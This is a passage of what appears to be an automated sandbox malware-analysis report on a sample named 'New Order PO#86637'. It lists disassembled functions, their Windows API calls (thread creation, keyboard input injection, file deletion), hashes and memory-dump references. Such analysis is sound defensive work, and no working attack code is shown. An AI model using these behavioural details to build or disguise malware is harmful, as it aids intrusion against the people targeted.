Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Process$BaseCloseEnumHandleModuleModulesNameOpen__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 135935984-0
Opcode ID: b9dd60fc789600814193b10c203562de5ce45e1fa765f6932a0e1556b25623f2
Instruction ID: 66738fc5919b7c3a3c7c4a311c48fd84e22d6c2a66b6279363cc5d51ef299119
Opcode Fuzzy Hash: b9dd60fc789600814193b10c203562de5ce45e1fa765f6932a0e1556b25623f2
Instruction Fuzzy Hash: 832180B6500118AFDB11CF90CD85EEEB379EB8C700F10459AFA0997150DA75AA85CBA4

Function 0041F6F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0041F707

Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600

_free.LIBCMT ref: 0041F71A

Strings

[B, xrefs: 0041F6FB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID: [B
API String ID: 1020059152-632041663
Opcode ID: a147dbbc68d3dd3311601ddf04658a1c9df9f8119054b67091eb48bbc5a1b0d2
Instruction ID: 066e14217b5799beb7557260d36092b09813ce611e9d099bbd870b86b34de80c
Opcode Fuzzy Hash: a147dbbc68d3dd3311601ddf04658a1c9df9f8119054b67091eb48bbc5a1b0d2
Instruction Fuzzy Hash: 0211EB32454615AACB213F75EC086DB3BA49F443A5B20053BF824CA2D1DB7C88C7C7AC

Function 00413D7F Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00413DA4
__calloc_crt.LIBCMT ref: 00413DB0
__getptd.LIBCMT ref: 00413DBD
CreateThread.KERNEL32(?,?,00413D1A,00000000,?,?), ref: 00413DF4
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00413DFE
_free.LIBCMT ref: 00413E07
__dosmaperr.LIBCMT ref: 00413E12

Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 9a8a6ace70da3d00e2637234252d24079791dfe2cea1a90c5afbc93b71b6aba3
Instruction ID: a8fa495ec3ad1bcc0d525816251f0ff308f4c172cb7463a6c3574dd724ca7d0d
Opcode Fuzzy Hash: 9a8a6ace70da3d00e2637234252d24079791dfe2cea1a90c5afbc93b71b6aba3
Instruction Fuzzy Hash: 8E11E9321087066FD7107FA6DC459DB3BE8DF04775B20042FF91586292DB79D99186AC

Function 00436C6E Relevance: 10.5, APIs: 7, Instructions: 49threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00436B19: GetProcessHeap.KERNEL32(00000008,0000000C,00436C79), ref: 00436B1D
Part of subcall function 00436B19: HeapAlloc.KERNEL32(00000000), ref: 00436B24

GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 00436C88
GetCurrentProcess.KERNEL32(?,00000000), ref: 00436C91
DuplicateHandle.KERNEL32(00000000,?,00000000), ref: 00436C9A
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000), ref: 00436CA6
GetCurrentProcess.KERNEL32(?,00000000,?,00000000), ref: 00436CAF
DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 00436CB2
CreateThread.KERNEL32(00000000,00000000,Function_00036C2B,00000000,00000000,00000000), ref: 00436CCA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 3f80535c3287afe012eec8eac85a3d96c91e040866ec74b6355b9bdb3dfb6838
Instruction ID: 99b39fe8e7f3ac854e5c8e3994335d5d6f6ef2f737fc2b72a46a077924210789
Opcode Fuzzy Hash: 3f80535c3287afe012eec8eac85a3d96c91e040866ec74b6355b9bdb3dfb6838
Instruction Fuzzy Hash: A301E6753403047BD620EB65DC96F5B775CEB89B50F114819FA04DB1D1C6B5E8008B78

Function 00413D1A Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00413D20

Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8

___fls_getvalue@4.LIBCMT ref: 00413D2B

Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C

___fls_setvalue@8.LIBCMT ref: 00413D3E
GetLastError.KERNEL32(00000000,?,00000000), ref: 00413D47
ExitThread.KERNEL32 ref: 00413D4E
GetCurrentThreadId.KERNEL32 ref: 00413D54
__freefls@4.LIBCMT ref: 00413D74

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Value$Thread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 259663610-0
Opcode ID: a6f8f3d0a20f5c796c32073770e32d9df078d3112ed711158995b20890782f5b
Instruction ID: 675159a2c5a9d795bd3e19fa90b6febf5cd616b5876767659bafc4934cd781b8
Opcode Fuzzy Hash: a6f8f3d0a20f5c796c32073770e32d9df078d3112ed711158995b20890782f5b
Instruction Fuzzy Hash: 0DF0FF75504700AFC704BF72D9498CE7BB9AF48349720846EB80987222DA3DD9C2DBA9

Function 0043028B Relevance: 9.3, APIs: 6, Instructions: 255COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004302E6
GetWindowRect.USER32(00000000,?), ref: 00430316
GetClientRect.USER32(?,?), ref: 00430364
GetSystemMetrics.USER32(0000000F), ref: 004303B1
GetWindowRect.USER32(?,?), ref: 004303C3
ScreenToClient.USER32(?,?), ref: 004303EC

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Rect$Client$Window$MetricsScreenSystem
String ID:
API String ID: 3220332590-0
Opcode ID: b722cec4de1de3fe17d9867fbb91cd497d3f089f761d48fb585960e999a4a017
Instruction ID: e4235e81f7515d2978e088f6fadb01cec8eb5fe04dcc4a3bbd5a83ea815e8f28
Opcode Fuzzy Hash: b722cec4de1de3fe17d9867fbb91cd497d3f089f761d48fb585960e999a4a017
Instruction Fuzzy Hash: 13A14875A0070A9BCB10CFA8C594BEFB7B1FF58314F00961AE9A9E7350E734AA44CB54

Function 004577E9 Relevance: 9.2, APIs: 6, Instructions: 217COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00457863
_malloc.LIBCMT ref: 00457879
_strcat.LIBCMT ref: 004578A4
_wcslen.LIBCMT ref: 004578DA
_malloc.LIBCMT ref: 004578F3
_wcscpy.LIBCMT ref: 00457912

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _malloc_wcslen$_strcat_wcscpy
String ID:
API String ID: 1612042205-0
Opcode ID: 1b9af233a2167b707cd0fb77bd31ffbeeda7ae7db272e33850c6ed6ee2362a10
Instruction ID: da8a40d04f443fc8bffa22af6bb0a7b3fb41b3e40a14b17b7fca75945af8e81c
Opcode Fuzzy Hash: 1b9af233a2167b707cd0fb77bd31ffbeeda7ae7db272e33850c6ed6ee2362a10
Instruction Fuzzy Hash: 40914A74604205EFCB10DF98D4C09A9BBA5FF48305B60C66AEC0A8B35AD738EE55CBD5

Function 0044F1D3 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 422COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044D011
_strncmp.LIBCMT ref: 0044FA43

Strings

U, xrefs: 0044FB88
\, xrefs: 0044D061
>, xrefs: 0044F0D8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove_strncmp
String ID: >$U$\
API String ID: 2666721431-237099441
Opcode ID: 22f22e1ac28dc69493aec85f3eea1e1d82883446f00fc80900d5fd24c0790888
Instruction ID: 902f5a6c35c0d49260658601fd29bdf8c292b60929ab84f6d376942388b5a00c
Opcode Fuzzy Hash: 22f22e1ac28dc69493aec85f3eea1e1d82883446f00fc80900d5fd24c0790888
Instruction Fuzzy Hash: 8DF1B170A00249CFEB14CFA9C8906AEFBF1FF89304F2485AED845A7341D779A946CB55

Function 0044C514 Relevance: 9.2, APIs: 6, Instructions: 163windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0044C570
SetKeyboardState.USER32(00000080), ref: 0044C594
PostMessageW.USER32(?,00000100,?,?), ref: 0044C5D5
PostMessageW.USER32(?,00000104,?,?), ref: 0044C60D
PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C62F
SendInput.USER32(00000001,?,0000001C), ref: 0044C6C2

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessagePost$KeyboardState$InputSend
String ID:
API String ID: 2221674350-0
Opcode ID: 253f2b6e14f8b29283c151e9eff2603b50f4fedb3541a599f467ca45a100d6c4
Instruction ID: 625ea0eb49cc588760ebb6bc0eb208289033378f73eea84c13a2ca11a8b118cf
Opcode Fuzzy Hash: 253f2b6e14f8b29283c151e9eff2603b50f4fedb3541a599f467ca45a100d6c4
Instruction Fuzzy Hash: D1514A725001187AEB109FA99C81BFFBB68AF9E311F44815BFD8496242C379D941CBA8

Function 00444BFC Relevance: 9.2, APIs: 6, Instructions: 163COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00444CFC
_wcscat.LIBCMT ref: 00444D03
_wcscpy.LIBCMT ref: 00444D17
_wcscpy.LIBCMT ref: 00444D4B
_wcscat.LIBCMT ref: 00444D52
_wcscpy.LIBCMT ref: 00444D66

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: d8b18b1f5d4952a0fc5752811c1295952a1c4566f52136af492825f039622e45
Instruction ID: 99b1098f8f7a3a84d55f117cb3556dd5d93458401dda30520ad7f1c57b96c0d6
Opcode Fuzzy Hash: d8b18b1f5d4952a0fc5752811c1295952a1c4566f52136af492825f039622e45
Instruction Fuzzy Hash: 0741357190011466DB34EF5998C1BFF7368EFE6314F84455FFC4287212DB2DAA92C2A9

Function 00451B42 Relevance: 9.1, APIs: 6, Instructions: 144memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
VariantCopy.OLEAUT32(?,?), ref: 00451BF8
VariantCopy.OLEAUT32(-00000068,?), ref: 00451C0E
VariantCopy.OLEAUT32(-00000088,?), ref: 00451C27
VariantClear.OLEAUT32(-00000058), ref: 00451CA1
SysAllocString.OLEAUT32(00000000), ref: 00451CBA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$Copy$AllocClearErrorLastString
String ID:
API String ID: 960795272-0
Opcode ID: 218b2f6110521206867dfa84a42cd28f2b67ec3390fd0729a790b06cd777bcc7
Instruction ID: e234943060a9aef7ccdf580943a4f321f6ba3cfb1df2bc58669f78ff50eabc4c
Opcode Fuzzy Hash: 218b2f6110521206867dfa84a42cd28f2b67ec3390fd0729a790b06cd777bcc7
Instruction Fuzzy Hash: C751AE719042099FCB14DF65CC84BAAB7B4FF48300F14856EED05A7361DB79AE45CBA8

Function 00452D3F Relevance: 9.1, APIs: 6, Instructions: 144fileCOMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00452D78
DeleteFileW.KERNEL32(?), ref: 00452E01
DeleteFileW.KERNEL32(?,?), ref: 00452E92
CopyFileW.KERNEL32(?,?), ref: 00452EB3
DeleteFileW.KERNEL32(?), ref: 00452EC5
DeleteFileW.KERNEL32(?), ref: 00452EE1

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: File$Delete$Copy__fread_nolock
String ID:
API String ID: 2446588422-0
Opcode ID: 79d811be90fff68cde7f06b13108d27ea7637e4834378253289aee473bd03d8a
Instruction ID: e3b766f0d7570c057f36e817525b07a345c540c94ec9958bdefdc59333e68e6d
Opcode Fuzzy Hash: 79d811be90fff68cde7f06b13108d27ea7637e4834378253289aee473bd03d8a
Instruction Fuzzy Hash: D9517CB26083409BC320DF6AD984AAFB7E8FBD9740F10492FF68983201DA75D548CB56

Function 00447BA8 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 00447BDF
GetWindowRect.USER32(?,?), ref: 00447C5D
ScreenToClient.USER32(?,?), ref: 00447C7B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C8E
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447CD5
EndPaint.USER32(?,?), ref: 00447D13

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Paint$BeginClientRectRectangleScreenViewportWindow
String ID:
API String ID: 4189319755-0
Opcode ID: 0de1757924998e3fd5473b1ac31060e8ba53e31114793872216692834f921a18
Instruction ID: 4e3fb435071a661ad846631c1082d1486cc319c76cae6976ccfd06e2d512f03c
Opcode Fuzzy Hash: 0de1757924998e3fd5473b1ac31060e8ba53e31114793872216692834f921a18
Instruction Fuzzy Hash: DC417F706042019FE310DF14D8C4F7B7BA8EB86724F14466EF9A487391CB74A806CB69

Function 0044900D Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,00000000), ref: 0044908B
SendMessageW.USER32(?,00000409,00000000,?), ref: 0044909F
SendMessageW.USER32(?,0000111E,00000000,00000000), ref: 004490B3
InvalidateRect.USER32(?,00000000,00000001,?,0000111E,00000000,00000000,?,00000409,00000000,?), ref: 004490C9
GetWindowLongW.USER32(?,000000F0), ref: 004490D4
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004490E1

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$LongWindow$InvalidateRect
String ID:
API String ID: 1976402638-0
Opcode ID: 2001084b9f030ce18b996af9061ac6ceee4bb7592284355317d8a12df4a6bddd
Instruction ID: 8674d855734444f977eaeabaa32478bd653fbe911923e0a4a3d3eb28cec46bd0
Opcode Fuzzy Hash: 2001084b9f030ce18b996af9061ac6ceee4bb7592284355317d8a12df4a6bddd
Instruction Fuzzy Hash: 2531E135240104AFF724CF48DC89FBB77B9EB49320F10851AFA559B290CA79AD41DB69

Function 00440A0D Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00440A8A
EnableWindow.USER32(?,00000000), ref: 00440AAF
ShowWindow.USER32(?,00000000), ref: 00440B18
ShowWindow.USER32(?,00000004), ref: 00440B2B
EnableWindow.USER32(?,00000001), ref: 00440B50
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00440B75

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 7c24049b1d37fdb6142be8766dc22fb93f1068172a9e83c57f7795f596ff73c7
Instruction ID: a5db896fb2ae06c85211a956f566d4ff66a2da6af11bfa2c2b637766cd700386
Opcode Fuzzy Hash: 7c24049b1d37fdb6142be8766dc22fb93f1068172a9e83c57f7795f596ff73c7
Instruction Fuzzy Hash: F4413C346003409FEB25CF24C588BA67BE1FF55304F1885AAEB599B3A1CB78A851CB58

Function 0047974B Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 349COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 004797A7
NULL Pointer assignment, xrefs: 004797CC, 00479AF2

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin
